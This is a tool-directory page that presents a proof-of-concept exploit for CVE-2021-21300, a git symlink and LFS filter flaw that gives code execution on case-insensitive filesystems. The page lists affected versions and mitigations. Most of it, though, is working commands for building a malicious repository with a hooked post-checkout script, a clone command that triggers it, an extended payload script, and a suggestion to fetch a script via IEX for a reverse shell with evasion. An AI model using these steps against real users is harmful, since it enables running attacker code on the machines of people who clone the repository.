Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-21300 — Proof-of-concept exploit for CVE-2021-21300, demonstrating remote code execution via malicious git repository cloning with symlink and filter abuse on case-insensitive filesystems. | Kitploit
Tools/GitHubGitHub/fengzhouc/cve-2021-21300
Privilege EscalationVulnerability AnalysisExploitationLateral MovementShellcodePost-ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

375 years agoNot yet reviewed
Share

Proof-of-concept exploit for CVE-2021-21300, demonstrating remote code execution via malicious git repository cloning with symlink and filter abuse on case-insensitive filesystems.

View Repository

CVE-2021-21300

In multiple versions of git, the handling of symbolic links is not strict. After uploading files to git on a case-sensitive file system (e.g., Linux), cloning a malicious repository on a host using a case-insensitive file system (e.g., Windows) may lead to remote command execution.

Affected Versions

From 2.15 to the current 2.30.1

Solution

1、Upgrade the version

2、As follows

Disable git's symlink: git config --global core.symlinks false

Disable process filter (usually used by LFS). You can check via git config --show-scope --get-regexp 'filter..*.process'

Trigger Conditions:

1、There exist a symbolic link and a directory with the same name in the repository

2、The symbolic link points to a special directory (currently seems to be .git/hooks)

3、The victim machine needs sufficient permissions to execute malicious commands

Reproduction

01 Environment Preparation

① Repository Preparation:

System: ubuntux64

Need to install git, git-lfs

Executing the git lfs install command may report an error

Error: Failed to call git rev-parse --git-dir: exit status 128

Can be ignored

When "Git LFS initialized." appears, the installation is complete.

② Victim Machine:

System: win10x64

git for windows: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

The installation of git for windows can be all default.

02 Malicious Repository Preparation

① Create a new repository on GitHub:

There are many tutorials online, so I won't go into detail.

② Build a malicious repository on Ubuntu and upload it to GitHub:

Execute the following commands:

$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main

03 Attack Test

Execute the following command in PowerShell (Administrator) on Windows 10:

git clone -c core.symlinks=true [自己的仓库地址]

After cloning, if "PWNED" appears, remote command execution is successful.

It can be seen that during cloning, the command in the post-checkout file was executed.

The idea is to use IEX to download a script, then obtain a shell through Kali listening, but most scripts will be detected and blocked. It should be possible to bypass by using evasion techniques.

04 Extended Exploitation

Add a script file hack.sh in the directory

Content as follows:

#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

Modify the command executed in post-checkout to execute the script

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →